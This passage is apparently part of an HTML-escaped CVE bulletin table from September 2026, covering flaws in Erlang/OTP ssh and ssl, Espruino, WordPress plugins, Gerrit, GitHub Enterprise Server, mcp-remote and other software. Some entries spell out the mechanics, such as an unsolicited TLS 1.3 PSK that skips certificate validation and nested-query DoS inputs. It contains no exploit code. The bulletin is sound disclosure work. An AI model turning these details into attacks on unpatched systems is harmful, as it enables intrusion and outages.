asn1rtt_per_common:dec_subidentifiers/3 and asn1rtt_jer:json2oid/1. This issue affects OTP from OTP&amp;nbsp;17.0 before OTP&amp;nbsp;27.3.4.18, OTP&amp;nbsp;28.5.0.7, and OTP&amp;nbsp;29.1.1, corresponding to asn1 from 3.0 before 5.3.4.3, 5.4.3.1, and 5.5.2. Whether OTP before OTP&amp;nbsp;17.0, corresponding to asn1 before 3.0, is affected is unknown.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65634&quot; target=&quot;_blank&quot;&gt;CVE-2026-65634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Erlang--OTP&lt;/td&gt;
&lt;td&gt;Allocation of Resources Without Limits or Throttling vulnerability in Erlang/OTP ssh allows an authenticated remote attacker to exhaust node memory by repeatedly opening session channels that are never assigned a handler. The &quot;session&quot; clause of ssh_connection:handle_msg/4 checks only minimal_remote_max_packet_size before calling setup_session/5, which unconditionally builds a #channel{} record and stores it in the ETS channel cache. The max_channels daemon option is consulted only by ssh_channel_sup:max_num_channels_not_exceeded/2, which counts supervisor children, so a channel that never gets a shell, exec, or subsystem handler is invisible to the limit and setting the option to a finite value does not mitigate the attack. RFC 4254 section 5.1 permits many session channels per connection, and each record costs only a few hundred bytes, so a single authenticated connection can accumulate channels until the node runs out of memory and the emulator terminates, affecting every application on it. No file contents, credentials, or write access are obtainable. This issue affects OTP from OTP&amp;nbsp;18.1.2 before OTP&amp;nbsp;27.3.4.18, OTP&amp;nbsp;28.5.0.7, and OTP&amp;nbsp;29.1.1, corresponding to ssh from 4.1.1 before 5.2.11.13, 5.5.2.6, and 6.0.6. Whether OTP before OTP&amp;nbsp;18.1.2, corresponding to ssh before 4.1.1, is affected is unknown.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68956&quot; target=&quot;_blank&quot;&gt;CVE-2026-68956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Erlang--OTP&lt;/td&gt;
&lt;td&gt;Key Exchange without Entity Authentication vulnerability in Erlang/OTP ssl allows a peer that answers a TLS 1.3 client connection to impersonate the intended server. A pre_shared_key extension in the ServerHello that the client never offered causes the client to complete the handshake without validating the server&#039;s certificate, so ssl:connect returns {ok, Socket} against a peer holding no certificate, no private key and no prior session. tls_client_connection_1_3:handle_server_hello/2 passes the received extension to tls_gen_connection_1_3:handle_resumption/2, which sets resumption = true on its mere presence without checking that the client offered a PSK. tls_handshake_1_3:get_pre_shared_key/4 meanwhile falls back to the all-zero &quot;no PSK&quot; value and keys the handshake with the ordinary non-PSK schedule, so the attacker&#039;s own ephemeral key suffices. The resumption flag then routes maybe_resumption/1 straight to wait_finished, skipping the certificate-handling states, so certificate path validation, verify_fun, hostname verification, partial_chain, CRL checking and OCSP stapling are all bypassed. The default client configuration is affected; clients restricted to TLS 1.2 are not. This issue affects OTP from OTP&amp;nbsp;22.2 before OTP&amp;nbsp;27.3.4.18, OTP&amp;nbsp;28.5.0.7, and OTP&amp;nbsp;29.1.1, corresponding to ssl from 9.5 before 11.2.12.13, 11.6.0.6, and 11.7.7.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89422&quot; target=&quot;_blank&quot;&gt;CVE-2026-89422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Espruino --Espruino 2v29&lt;/td&gt;
&lt;td&gt;Espruino 2v29 (commit bffc6d0) contains a stack-based buffer overflow vulnerability in the JavaScript error stack-trace handling path on 64-bit builds. A remote attacker can supply JavaScript input that triggers an exception and reaches jslPrintTokenLineMarker(), which passes the address of a 4-byte int column variable to jsvGetLineAndCol() as a size_t pointer. jsvGetLineAndCol() performs an 8-byte write through the mismatched pointer, overwriting adjacent stack memory.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88388&quot; target=&quot;_blank&quot;&gt;CVE-2026-88388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Espruino --Espruino 2v29&lt;/td&gt;
&lt;td&gt;Espruino 2v29 (commit bffc6d0) contains a NULL pointer dereference vulnerability in jslGetRawString() in src/jslex.c. Crafted raw/binary string input can cause the lexer to pass a NULL iterator target to jsvLockAgain(). In RELEASE/NO_ASSERT builds, the missing assertion guard allows a write through the NULL pointer, resulting in memory corruption and application termination or denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88389&quot; target=&quot;_blank&quot;&gt;CVE-2026-88389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Espruino --Espruino 2v29&lt;/td&gt;
&lt;td&gt;An out-of-bounds write vulnerability in jslGetTokenValueAsString() in Espruino 2v29 (commit bffc6d0) allows crafted JavaScript input containing an overlong token to trigger a one-byte write beyond the JsLex.token buffer in RELEASE/NO_ASSERT builds. The out-of-bounds write corrupts the adjacent tokenValue pointer, resulting in memory corruption and potentially causing application crashes or denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88390&quot; target=&quot;_blank&quot;&gt;CVE-2026-88390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Event Booking Manager for WooCommerce--Event Booking Manager for WooCommerce&lt;/td&gt;
&lt;td&gt;The Event Booking Manager for WooCommerce WordPress plugin before 5.7.3 does not restrict its event listing query to events the requesting user is permitted to read, so users with contributor-level access and above can retrieve other authors&#039; private, draft and trashed events, together with event detail the standard listing does not show them. This discloses private events and their content that WordPress withholds from users lacking the read_private_posts capability.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91077&quot; target=&quot;_blank&quot;&gt;CVE-2026-91077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Events Manager--Events Manager&lt;/td&gt;
&lt;td&gt;The Events Manager WordPress plugin before 7.4.5 does not stop a ticket-update request from replacing the identifiers of the ticket it was authorized against, letting a user who can manage one event&#039;s tickets overwrite and reassign any ticket on the site to their own event.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93661&quot; target=&quot;_blank&quot;&gt;CVE-2026-93661&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Events Manager--Events Manager&lt;/td&gt;
&lt;td&gt;The Events Manager WordPress plugin before 7.4.5 does not force the scope of its logged-in event and location search when a caller supplies their own owner value, letting a low-privileged user read other accounts&#039; unpublished, pending or trashed event and venue content, including full street addresses.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93662&quot; target=&quot;_blank&quot;&gt;CVE-2026-93662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Evope Collector--Evope Collector&lt;/td&gt;
&lt;td&gt;a vulnerability involving an unchecked search path element in Evope Collector, versions prior to 1.1.7.13, allows a local attacker without privileges to load a malicious DLL by placing a &#039;wtsapi32.dll&#039; file in the &#039;C:\ProgramData\Evope\&#039; directory. The &#039;Evope.Service.exe&#039; component, which runs with &#039;NT AUTHORITY\SYSTEM&#039; privileges, loads this DLL without properly verifying its integrity or origin. Successful exploitation could allow code execution with SYSTEM privileges and result in local privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7169&quot; target=&quot;_blank&quot;&gt;CVE-2026-7169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;feast-dev--feast&lt;/td&gt;
&lt;td&gt;Feast is the open source feature store for AI and machine learning. Prior to 0.65.0, .github/workflows/pr_integration_tests.yml uses pull_request_target with the synchronize event and preserves ok-to-test, approved, or lgtm labels across newly pushed commits, allowing a fork contributor to obtain approval for a benign revision and then run changed code from refs/pull/${{ github.event.pull_request.number }}/merge through privileged make targets. The job exposes GCP, AWS, and Snowflake credentials to that code, enabling runner code execution, credential disclosure, and possible access to downstream cloud resources. An external label-removal integration could mitigate the condition, but no repository workflow provided that protection. This issue is fixed in version 0.65.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55563&quot; target=&quot;_blank&quot;&gt;CVE-2026-55563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;File Manager--File Manager&lt;/td&gt;
&lt;td&gt;The File Manager WordPress plugin before 8.0.5 does not prevent unauthenticated users from downloading its database backup archives, and in some cases writes them under a fixed filename, allowing unauthenticated attackers to retrieve a full database dump including every user&#039;s email address and password hash on servers that do not apply the directory&#039;s .htaccess file.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19708&quot; target=&quot;_blank&quot;&gt;CVE-2026-19708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;File Manager--File Manager&lt;/td&gt;
&lt;td&gt;The File Manager WordPress plugin before 8.0.5, FileOrganizer WordPress plugin before 1.2.1, File Manager Pro WordPress plugin before 2.1.3 do not correctly validate the origin of window messages received by the file browser they load on their admin screens, accepting any origin that is a leading string prefix of the site&#039;s own address, which allows an unauthenticated attacker to run arbitrary JavaScript in the session of a logged-in administrator who visits a page under their control. The defect is in the file-manager library all three bundle, and every version below 2.1.70 carries it. Updating the bundled library closes it.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85081&quot; target=&quot;_blank&quot;&gt;CVE-2026-85081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flatcc --flatcc&amp;nbsp;&lt;/td&gt;
&lt;td&gt;An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema buffer ends with a digit, the integer digit-scan loop in lex() advances past the end of the input buffer and dereferences the out-of-bounds pointer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application crash and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88344&quot; target=&quot;_blank&quot;&gt;CVE-2026-88344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flatcc --flatcc&amp;nbsp;&lt;/td&gt;
&lt;td&gt;An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema ends with an unterminated quotation mark, the C-string scanning logic in lex() dereferences the input pointer after it has reached the end of the buffer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application crash and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88345&quot; target=&quot;_blank&quot;&gt;CVE-2026-88345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fluent--fluent-bit&lt;/td&gt;
&lt;td&gt;Fluent Bit is a fast and lightweight logs, metrics, and traces processor for Linux, BSD, macOS, and Windows. From 0.11.0 until 5.0.8, plugins/out_forward/forward.c secure_forward_pong copies the server-controlled PONG[2] reason into the 32-byte stack buffer msg with memcpy without checking its MessagePack type or length. An attacker who controls or can impersonate an out_forward Secure Forward destination configured with Shared_Key or Empty_Shared_Key can send an oversized reason during the first handshake and overwrite stack control data. Protected builds reliably terminate, while builds without a stack canary or with a disclosure can allow remote code execution as the Fluent Bit process user. When the opt-in --supervisor mode is used, fork-only respawns preserve the canary and address layout, allowing repeated crash-or-survive probes to support code execution on a hardened build; ordinary exec-based or service-manager restarts do not preserve that state. This issue is fixed in version 5.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61674&quot; target=&quot;_blank&quot;&gt;CVE-2026-61674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluentBoards--FluentBoards&lt;/td&gt;
&lt;td&gt;The FluentBoards WordPress plugin before 2.1.0 does not properly restrict the member data returned by its public, token-shared board feature, allowing unauthenticated users to disclose the email addresses of a shared board&#039;s members, typically including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89331&quot; target=&quot;_blank&quot;&gt;CVE-2026-89331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluteCode--Secure Folder&lt;/td&gt;
&lt;td&gt;Secure Folder 1.2 stores files selected for its password-protected vault as unencrypted files in the Android shared-storage tree. A local application or file manager that has access to the relevant shared-storage path can enumerate, copy, and open those files without authenticating to Secure Folder.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84283&quot; target=&quot;_blank&quot;&gt;CVE-2026-84283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forcepoint--Forcepoint Security Engine (NGFW)&lt;/td&gt;
&lt;td&gt;A Security Policy Bypass vulnerability exists in Forcepoint Security Engine (NGFW). This issue affects Forcepoint Security Engine (NGFW): from 7.1.0 through 7.1.13, from 7.3.0 through 7.3.1, 7.3.3, from 7.4.0 through 7.4.1, and 7.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12974&quot; target=&quot;_blank&quot;&gt;CVE-2026-12974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not perform a nonce, capability or ownership check before running a one-time payment-field migration during the construction of one of its admin screens, and that construction happens on every wp-admin request for any logged-in user. Any authenticated user, including a Subscriber with no permissions in the Forminator Forms WordPress plugin before 1.57.2.1, can therefore rewrite the saved field configuration of any form on the site, including a live payment form.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87069&quot; target=&quot;_blank&quot;&gt;CVE-2026-87069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not bind its saved-draft notification to the visitor who created the draft, and takes both the recipient address and the link written into the message from the request, so unauthenticated visitors can make the site send a message from its own mail configuration to any address, carrying a link of their choosing inside the site&#039;s own template. The token that authorises the send is handed to the anonymous caller by the Forminator Forms WordPress plugin before 1.57.2.1 itself and can be replayed without limit.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87074&quot; target=&quot;_blank&quot;&gt;CVE-2026-87074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geelen--mcp-remote&lt;/td&gt;
&lt;td&gt;An issue in geelen mcp-remote 0.1.32 through 0.1.38 allows a remote attacker to obtain sensitive information via the src/lib/authorization-server-metadata.ts, src/lib/utils.ts components&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51995&quot; target=&quot;_blank&quot;&gt;CVE-2026-51995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geelen--mcp-remote&lt;/td&gt;
&lt;td&gt;An issue in geelen mcp-remote 0.1.16 through 0.1.38 allows a remote attacker to execute arbitrary code via the src/lib/utils.ts and the getServerUrlHash function&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51996&quot; target=&quot;_blank&quot;&gt;CVE-2026-51996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geelen--mcp-remote&lt;/td&gt;
&lt;td&gt;An issue in geelen mcp-remote 0.1.16 through 0.1.38 allows a remote attacker to execute arbitrary code via the open() functions&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51997&quot; target=&quot;_blank&quot;&gt;CVE-2026-51997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geelen--mcp-remote&lt;/td&gt;
&lt;td&gt;An issue in geelen mcp-remote 0.1.18 through 0.1.38 allows a remote attacker to obtain sensitive information via the SSE transport eventSourceInit fetch wrapper &quot; src/lib/utils.ts&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52001&quot; target=&quot;_blank&quot;&gt;CVE-2026-52001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gerrit--Gerrit&lt;/td&gt;
&lt;td&gt;Incorrect Authorization (CWE-863) in project name normalization (ProjectUtil.stripGitSuffix) and ProjectCache eviction logic (ProjectCacheImpl) in Gerrit Code Review versions 2.16.0 through 3.12.9, 3.13.0 through 3.13.8, and 3.14.0 through 3.14.2 allows an authenticated user (or an unauthenticated user if the repository was previously public) to cause unauthorized disclosure of private repository content and durable restoration of revoked project-owner administrative privileges via crafted requests using repeated .git suffixes (such as project.git.git) across REST APIs, Gitiles, or SSH Git commands. Because Gerrit strips only a single terminal .git suffix when constructing the logical ProjectCache key while JGit (FileKey.lenient) resolves the suffixed alias to the same canonical bare repository on disk, revoking read access or removing owner rules on the canonical project name fails to evict the cached alias ProjectState during the cache validity window, enabling reads of newly created private commits or writes to refs/meta/config. This issue is fixed in Gerrit Code Review versions 3.12.10, 3.13.9, and 3.14.3.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87720&quot; target=&quot;_blank&quot;&gt;CVE-2026-87720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gerrit--Gerrit&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400 / CWE-407) in the ANTLR 3 search query parser (QueryParser / Query.g) in Gerrit Code Review versions 2.0.19 through 3.12.9, 3.13.0 through 3.13.8, and 3.14.0 through 3.14.2 allows an unauthenticated remote attacker (or an authenticated user if anonymous read access is disabled) to cause a persistent denial of service (CPU exhaustion and HTTP worker thread pool starvation requiring a server restart) via crafted search queries containing deeply nested parentheses sent to query evaluation endpoints (/changes/?q=, /accounts/?q=, /groups/?query=, /projects/?query=, /Documentation/?q=, /changes/{id}/query?expression=, or SSH gerrit query). Because syntactic predicates in conditionOr and conditionAnd recurse via conditionBase without memoization prior to capability or visibility checks and worker threads do not abort when the client disconnects, a small number of requests (such as 25 requests matching default httpd.maxThreads) can permanently pin all HTTP worker threads. This issue is fixed in Gerrit Code Review versions 3.12.10, 3.13.9, and 3.14.3.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87721&quot; target=&quot;_blank&quot;&gt;CVE-2026-87721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gerrit--Gerrit&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400 / CWE-1333) in regex search query predicates (such as RegexProjectPredicate, RegexRefPredicate, RegexPathPredicate, and sibling predicates) and REST regex filter endpoints (RegexListSearcher /projects/?r= and RefFilter /projects/{project}/branches/?r=) in Gerrit Code Review versions 2.1.6 through 3.12.9, 3.13.0 through 3.13.8, and 3.14.0 through 3.14.2 allows an unauthenticated remote attacker (or an authenticated user if anonymous read access is disabled) to cause a denial of service (CPU starvation and JVM heap exhaustion / OutOfMemoryError) via crafted search queries or REST API requests containing regular expressions with large counted repetitions or exponential DFA determinization patterns. Because the user-supplied regular expression is compiled into an unbounded dk.brics.automaton instance (new RegExp(re).toAutomaton()) on the request thread prior to index evaluation or access control visibility filtering, trivial queries can exhaust JVM heap or pin request threads regardless of heap size. This issue is fixed in Gerrit Code Review versions 3.12.10, 3.13.9, and 3.14.3.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87722&quot; target=&quot;_blank&quot;&gt;CVE-2026-87722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getsentry--sentry&lt;/td&gt;
&lt;td&gt;Sentry is an error tracking and performance monitoring tool. From 23.11.0 until 26.7.0, Sentry instances with the relocation feature enabled unsafely deserialize a legacy database field while importing a user-supplied relocation archive. An authenticated user can craft an archive that causes arbitrary code execution in the import worker process. Self-hosted installations using the default configuration are not affected because the relocation feature is disabled by default. This issue is fixed in version 26.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83803&quot; target=&quot;_blank&quot;&gt;CVE-2026-83803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitHub--Enterprise Server&lt;/td&gt;
&lt;td&gt;An authorization bypass vulnerability was identified in GitHub Enterprise Server that allowed any authenticated user of the instance to read the raw diff or patch of pull requests in private repositories without authorization. Access tokens for raw pull request diffs and patches were scoped to the repository name and pull request number rather than to a globally unique repository identifier, so an attacker who created a repository and pull request matching a target&#039;s repository name and pull request number could use a token for their own repository to retrieve the private pull request&#039;s contents. Exploitation required the attacker to know the target repository&#039;s name and a valid pull request number. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.17.21, 3.18.15, 3.19.12, 3.20.8, and 3.21.6. This vulnerability was reported via the GitHub Bug Bounty program.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75101&quot; target=&quot;_blank&quot;&gt;CVE-2026-75101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitHub--Enterprise Server&lt;/td&gt;
&lt;td&gt;A stored cross-site scripting (XSS) vulnerability was identified in GitHub Enterprise Server that allowed an authenticated attacker to inject arbitrary HTML attributes into rendered Markdown because the Markdown rendering pipeline rewrote quote characters in already-sanitized HTML without re-sanitizing the result. Crafted Markdown could abuse same-origin JavaScript gadgets to bypass Content Security Policy and gain control of the page DOM when viewed by another user. Successful exploitation could allow an attacker to read content visible to the victim, extract embedded CSRF tokens, perform state-changing actions as the victim, and exfiltrate data through same-origin writes. The payload could also propagate to repositories and organizations where the victim had write access. This vulnerability affected supported GitHub Enterprise Server releases in the 3.17, 3.18, 3.19, 3.20, 3.21, and 3.22 series and was fixed in versions 3.22.1, 3.21.6, 3.20.8, 3.19.12, 3.18.15, and 3.17.21. This vulnerability was reported via the GitHub Bug Bounty program.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77912&quot; target=&quot;_blank&quot;&gt;CVE-2026-77912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitHub--Enterprise Server&lt;/td&gt;
&lt;td&gt;A server-side request forgery (SSRF) vulnerability was identified in the notebook viewer of GitHub Enterprise Server. The notebook viewer validated the scheme and host of a user-supplied URL but did not validate the port, allowing requests to be directed to internal services listening on other ports of the same appliance. Response bodies were not returned to the requester, but response timing acted as an oracle that allowed instance secrets to be extracted character by character. An extracted secret could then be used in a separate interaction with an internal service to obtain remote code execution on the appliance. Exploitation required network access to the instance and was unauthenticated when private mode was disabled, or required any authenticated user when private mode was enabled. This vulnerability affected GitHub Enterprise Server versions 3.17 through 3.22 and was fixed in versions 3.22.1, 3.21.6, 3.20.8, 3.19.12, 3.18.15, and 3.17.21. This vulnerability was reported through the GitHub Bug Bounty program.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77987&quot; target=&quot;_blank&quot;&gt;CVE-2026-77987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 0.72 until 10.0.26 and 11.0.8, an authenticated user without the required permission can enable debug mode. The affected user-setting update does not enforce the privilege boundary intended to restrict debug-mode activation. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45801&quot; target=&quot;_blank&quot;&gt;CVE-2026-45801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
